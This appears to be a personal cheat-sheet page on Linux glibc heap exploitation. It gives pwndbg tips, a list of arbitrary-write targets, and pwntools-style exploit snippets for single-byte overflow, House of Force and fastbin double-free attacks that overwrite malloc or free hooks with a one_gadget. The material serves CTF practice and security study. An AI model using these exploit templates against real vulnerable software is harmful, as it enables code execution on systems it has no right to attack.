xct's notes
Search…
Linux Heap

General

Find good fake chunk values in pwndbg:
1
find_fake_fast &__malloc_hook
Copied!

Possible Arbitrary Write Targets for Code Exec

1
got/plt (global offset table/procedure linkage table)
2
fini_array (called on program exit, protected by pointerguard)
3
heap (if there are function pointers)
4
tls_dtor_list (similar to fini array, protected by pointerguard)
5
malloc_hook & free_hook
Copied!

Single Byte Overflow

If we can overflow a single byte we can change the size of the following chunk. If this chunk is then freed, this larger size is considered. If we now allocate this enlarged chunk again, we can fully overflow into following chunk! Usually you would do the following setup to overflow into chunk B:
1
add(0x38, 'A'*0x38)
2
add(0x38, 'B'*0x38)
3
add(0x38, 'C'*0x38)
4
add(0x38, 'D'*0x38)
5
free(3)
6
free(0)
7
add(0x38, b'A'*(0x38)+p64(0x70)) # idx 0
8
free(1)
9
free(2)
10
add(0x68, b'D'*0x40+p64(free_hook)) # idx 1
11
add(0x38)
12
add(0x38, p64(one_gadget))
Copied!

Null Byte Poisoning / Overflow

House Of Force

Libc: libc-2.28.so
Overwrite size field of top chunk (e.g. via full heap overflow). Top chunk can extend down on heap, over libraries, into stack. We can also make it so large so it wraps around and points back into the heap. The following snippet writes a large value into the top chunk size field and then requests just enough space to get us to malloc hook so we can set it to an arbitrary value:
1
malloc(24, b"A"*24 +p64(0xfffffffffffffff1))
2
malloc((libc.sym.__malloc_hook - 0x20) - (heap + 0x20), "A")
3
malloc(24, p64(0xdeadbeef))
Copied!

Fastbin Dup

Libc: glibc-2.30
Fastbins are singly linked lists (LIFO). The heap arena can only store 1 address per size, so the pointer to the next elements are stored in the heap metadata next to the user data.

Via Double Free

Some Libc Versions have a check for double free, which checks that the top entry in the bin is not identical to the one that is being added. This can be bypassed by making sure "a" is not on top when freeing "a" again:
1
a=add()
2
b=add()
3
free(a)
4
free(b)
5
free(a)
Copied!
A full exploit could look like this:
1
chunk_A = malloc(0x68, "A"*0x68)
2
chunk_B = malloc(0x68, "B"*0x68)
3
free(chunk_A)
4
free(chunk_B)
5
free(chunk_A)
6
7
dup = malloc(0x68, p64(libc.sym.__malloc_hook - 35))
8
malloc(0x68, "C")
9
malloc(0x68, "D")
10
malloc(0x68, b"A"*19+p64(libc.address + one_gadget))
Copied!
We get a chunk twice into the fastbin list, overwriting the linked list pointer on the next malloc. We then "use up" the contents of the fastbin until we get the allocation at malloc hook.
When looking for valuable fake chunk targets we can also put one into the main arena directly (first write size field, then allocate fake chunk).